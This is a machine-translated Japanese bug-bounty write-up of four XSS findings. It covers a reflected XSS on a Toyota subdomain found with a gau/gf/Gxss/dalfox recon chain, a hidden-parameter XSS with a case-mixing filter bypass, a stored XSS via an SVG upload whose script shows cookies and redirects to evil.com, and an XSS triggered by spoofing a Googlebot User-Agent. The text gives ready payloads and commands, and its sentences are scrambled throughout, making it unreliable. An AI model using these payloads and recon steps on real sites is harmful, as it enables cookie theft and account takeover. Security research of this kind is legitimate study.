ソース:
訳:
** XSS の脆弱性:
* トヨタの重要な DOM XSS::
$Keys$: 自動化ツール [gau+dalfox+etc..]
トヨタ ドメインがあり、そのドメインのサブドメインを収集する必要があります。 などのツールを使用して sublist3r 、 subfinder 、 asset finder 、 amass を使用してこれらのサブドメインをフィルタリングできます。httpx 、ライブ サブドメインを取得するために使用され。
httpx -l subdomains.txt -o httpx.txt
からエンドポイントを収集しましょう 次に、ウェイバック マシン と 共通クロール
echo "toyota.com" | gau --threads 5 >> Enpoints.txt
cat httpx.txt | katana -jc >> Enpoints.txt
それらのほとんどは重複するため、次のようにして削除します。
cat Enpoints.txt | uro >> Endpoints_F.txt
を使用して、これまでの作業をすべて自動化できます 自動スクリプト に使用しているツールを備えた ほとんどのセキュリティ研究者と同じように、プロセスを簡単にするため 。今後の記事で私のスクリプトを共有します。
ここで、エンドポイントがたくさんあるので、それらをフィルタリングして機能させる必要があります。 私は、 素晴らしいgf に応じてエンドポイントをフィルタリングする 提供されたパターン ように GitHub から公開されているパターンを使用して ツールを使用しています。たとえば、XSS、SQLi、SSRF などのパターンがあります。この に追加できます。 、「 ~/.gf」 ”ディレクトリ。
cat Endpoints_F.txt | gf xss >> XSS.txt
# For getting the endpoints that have parameters which may be vulnerable to XSS
ツールを使用して、次に、 Gxss 検索しますを 値 が パラメーター 応答に反映され。
cat XSS.txt | Gxss -p khXSS -o XSS_Ref.txt
このプロセスには 2 つのオプションがあります。1 つ目は手動でテストするか、XSS 自動化ツールを使用して結果を手動で確認することです。 ファイルが大きいので、 Dalfox 自動 XSS スキャナーを使用します。
dalfox file XSS_Ref.txt -o Vulnerable_XSS.txt
とします。 脆弱なサブドメインがあることがわかりました。sub.toyota.com 何が起こっているのか調べてみましょう。
脆弱な URL [ https://sub.toyota.com /direcrory/ ?dir=%3C%2Fscript%3E%3Cscript%3Econfirm%28document.domain%29%3C%2Fscript%3E ] に移動すると、ポップアップが表示されますメッセージ
応答を検索したところ、脆弱なパラメータが URL[ source などのさまざまな Java スクリプト変数に存在すること ] に存在し、「var returnUrl=」、 「var applicationUri=」 がわかりました。 この JavaScript コードを参照すると、アイデアが理解できます。
<script>
// Assuming the URL is http://test.com?param=test
var urlParams = new URLSearchParams(window.location.search);
var paramValue = urlParams.get('param');
// This will execute the script tag in the paramValue variable
document.write(paramValue)
</script>
// If you look at the code, You will see that the value added to the parameter without any sanitization.
次の URL を送信して、ターゲットに Cookie に対する保護があるかどうかを確認してみましょう。 [ https://sub.toyota.com < /direcrory/ ?dir=%3C%2Fscript%3E%3Cscript%3Econfirm%28document.cookie%29%3C%2Fscript%3E ]
残念ながら ]に対して完全なアカウントの乗っ取りを実行できることを意味します 、これは、任意のユーザー [ RXSS 。 私は脆弱性を詳細に報告し、受け入れられました 🙂。
* バグ報奨金プログラム ($$$) に中程度の XSS が反映されました::
$Keys$: 隠しパラメータ — 手動テスト
偵察を行い、 targets.com ですべての関連情報を収集した後、エンドポイントを収集しました。 ]で非常に興味深いエンドポイントを発見しました [ https://tst2.dev.targets.com/cgi-bin/fr.cfg/php/custom/id-pass.php 。 これにより、次のページが得られました。
ベース URL に移動すると、 403 Forbidden を受け取りました。
ツールでカスタム ワードリストを使用して、dirsearch ベース URL と他のエンドポイントをファジングしました。
dirsearch -u https://tst2.dev.targets.com/ -w wordlist.txt -e php,cgi,htm,html,shtm,shtml,js,txt --random-agent
# (-u) for the target && (-w) for custom wordlist that would be used with the tool && (-e) different extesions that would be used with the tool && (--random-agent) to change the user agents for requests
しかし、重要なことは何も得られませんでした。でも、 待ってください 。隠しパラメータはどうなるのでしょうか ? をスキャンしましょう を使用して、[ https://tst2.dev.targets.com/cgi-bin/fr.cfg/php/custom/id-pass.php ] Arjun ツール またはparam miner 拡張機能 URL のファジングに使用される 有効なクエリを見つけるために GET、POST、JSON、XML などのさまざまなリクエストを使用します。
arjun -u https://tst2.dev.targets.com/cgi-bin/fr.cfg/php/custom/id-pass.php -m GET -w Parameters_Fuzz.txt
# (-u) for our target && (-m GET) sending requests using the GET method && (-w) for custom wordlist that would be used with the tool
レスポンス
それでは、 XSS、SQLi などのさまざまなインジェクションのauth_status パラメータ について作業してみましょう。
ただし、時間を無駄にしないためにすべてのインジェクションについては説明せず、Reflected XSS に焦点を当てます。
挿入すると、 パラメータ値にkhxssを に移動したときの応答に反映されました。 [ https://tst2.dev.targets.com/cgi-bin/fr.cfg/php/custom/id-pass.php?auth_status =%3Cscript%3Econfirm%285%29%3C%2Fscript%3E ] を使用して、サーバーがリクエストをどのように処理するかを理解します。 取得しました。 403 Forbiddenを
何らかの保護をバイパスする最初で最も簡単な方法は常に、( <sCrIpT>alert(1)</ScRipt> ) または ( <scr<script>ipt> ) または複数のペイロードの記述方法を変更するなど、ペイロードを操作しようとすることです。
テクニック[ 開発者が特定の単語のみをブラックリストに登録するときに間違いを犯すため ]。
パブリックワードリストを使用してこれを自動化できますが、私が考えたとき[ https://tst2.dev.targets.com/cgi-bin/fr.cfg/php/custom/id-pass.php?auth_status=%3CsCriPt%3Econfirm%28documen .cookie%29%3C%2FScRipt%3E ] が 受け入れられ を取得しました 、 XSS 。
これで終わりではありません:) のサブドメインを集めたときに私が行ったことです。
そのようなものを見つけたら、サブサブドメインが同じバグに対して脆弱かどうかを確認してください。
これは、[ *.dev.targets] .com 見つけました ] で、脆弱なサブドメインを 4 つほど が、それらを報告したところ、トリアージ チームはそれらを 1 つの脆弱性として受け入れ、最終的に報奨 金 を受け取りました🙂。
ツールを使用すると、次のよう : ffuf にしてサブドメインを完全な URL でファジングできます
ffuf -u "https://FUZZ.dev.targets.com/cgi-bin/fr.cfg/php/custom/id-pass.php?auth_status=%3CsCriPt%3Econfirm%28documen.cookie%29%3C%2FScRipt%3E" -w subdomains.txt -c -v
* SVG ファイルのアップロードによる高度に保存された XSS:
$keys$: ファイルのアップロード — 手動テスト。
偵察が終了した後、取得するために使用されるアクアトーンの 結果 スクリーンショットを サブドメインの を探しました。 興味深いサブドメインを発見したので、取り組んでみましょう。
URL https://sub.gov.uk/ が私たちの目標です。 ターゲットでのテストを開始するときは、[ 登録 - ログイン - パスワードの忘れ - など ] などのターゲットの機能をすべて理解する必要があります。
うとすると 登録フォームでアカウントを作成しよ など、入力が必要な項目がいくつか見つかりました 、ユーザー名、電子メール、パスワード、組織名、メーカーとの関連付けの追加 。
にペイロードを追加しましょう ユーザー名入力 次のような
"><img src=x onerror=alert(document.domain)>{{7*7}}'
<!--> If you looked for the previous payload you will find that it was testing for differeent vulnerabilites like [img tag for tesing for XSS. also you can use your XSS hunter payload] - [{{7*7}} for testing for SSTI] - [' for testing for SQLi]<-->
すべての空の入力を入力するまでは、脆弱性があるかどうかを確認できないため、完了しましょう。
ただし 、ユーザー名には悪意のある単語に対するセキュリティが設定されているため、それはできません。
ペイロードの変更、コンテンツのエンコードなど、さまざまな手法で操作できますが、すべての入力に同じ保護があるかどうかを見てみましょう。
組織フィールドには、 組織名、住所、国など、 入力する項目が複数あります。 ペイロードを 組織名に追加したとき。
に焦点を当てます の[ファイル アップロード 機能] フィールド 多くのことをテストする必要があるため、ここで終了しませんでしたが、リレーションシップ フォーム 。
ファイル アップロードの脆弱性のテストを開始するとき。 多くのことを行う必要があるため、ファイル アップロードの脆弱性に関するテクニックのほとんどについては、次の投稿を読むことをお勧めします 。 に焦点を当てます ただし、ここではSVG ファイル 。
SVGファイル ( "rectangle.svg"
) 次のようなものになります
<svg width="200" height="100" xmlns="http://www.w3.org/2000/svg">
<rect x="20" y="20" width="160" height="60" fill="blue" />
</svg>
<!-->SVG file for creating a rectangle with a blue color<-->
をアップロードできましたが SVG ファイル を含む 悪意のあるスクリプト 、このファイルは適切にサニタイズされておらず、スクリプトの実行につながりました。
ファイルです 悪意のあるSVG これが私が作成した
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert("You have been hacked !! " + "\n" + "Domain: " + document.domain + "\n" + "Cookie: " + document.cookie );
window.location.href="https://evil.com"
</script>
</svg>
アップロードしましょう。
た 移動しまし ファイルに
Up で 、保存された XSS を受け取ります。
私はこの脆弱性を詳細に報告し、 受け入れられ ました🙂。
* 未知の技術を使用した XSS:
$keys$: robots.txt — ユーザーエージェント — Burp スイート。
があるとしますhttps://targets.com 。
探してみましたが、 ページは 1 つ 発生した 内部エラーが だけ見つかりました。 重要なことは何もない。
ファジングしたところ、次の robots.txt ファイル 以外には何もありませんでした。
方であれば CTF プレイヤー プレイしたことがある 、または以前CTF を 、次のような 考えが 普通に頭に浮かぶでしょう。
とどうなりますか? /settings ページ に移動して、 置き換える User -Agent を リクエスト内の レスポンス に表示される値に
でリクエストをインターセプトし Burp Suite 、 変更した User-Agent を に Mediapartners-Google には何も見つかりませんでした ところ、 /settings ページ が、新しい完全な Web アプリができたことを示す、許容可能なページがたくさん見つかりました。 。
私たちが取り組んでいるほとんどの目標と同様に。 手動 および 自動化された 方法が私たちの鍵です。
を実行した後、 Burp Suite スキャン いくつかの有益な発見が見つかりました。
そのうちの 1 つは XSS 脆弱性 でした。
私が発見した脆弱性に関する詳細はすべてここにあります。
Burp Suiteに移動 : -> プロキシ -> インターセプト
に移動します オプション の インターセプト セクション
に移動し、 一致および置換 ) に置き換えて ユーザー エージェントを 新しいもの ( Mediapartners-Google 、すべてのリクエストをインターセプトします。
脆弱な URL https://targets.com / /bundle/cardjdv1i"><script>alert(document.cookie)</script>mnybm?id=25020×tamp=1704865352 にアクセスします。
を取得しました XSS 。
再度変更して、 ユーザー エージェントを 設定ミスが原因であることを確認しましたが、何も得られませんでした。そのため、脆弱性を報告する時期が来ました。
には、次のコードを探してください。 を理解する 何が起こっているのか
// It is just a simple example of Java Script code not the actual code
<html>
<body>
<p>This <span id="exampleElement"></span></p>
</body>
<script>
// Get the User-Agent value from the request
var userAgent = navigator.userAgent;
// Check if the User-Agent value is "Mediapartners-Google"
if (userAgent.indexOf("Mediapartners-Google") !== -1) {
// Assuming the URL is https://targets.com/bundle/
var userInput = window.location.pathname.split("/")[2];
document.getElementById("exampleElement").innerHTML = userInput;
}
</script>
</html>
報告したときのこと。 サブドメインが対象外なので受け付けませんでしたが、未知の技術なので気にせず、得たものは残さず頑張ってくださいと言いたかったのです。
ほなほな。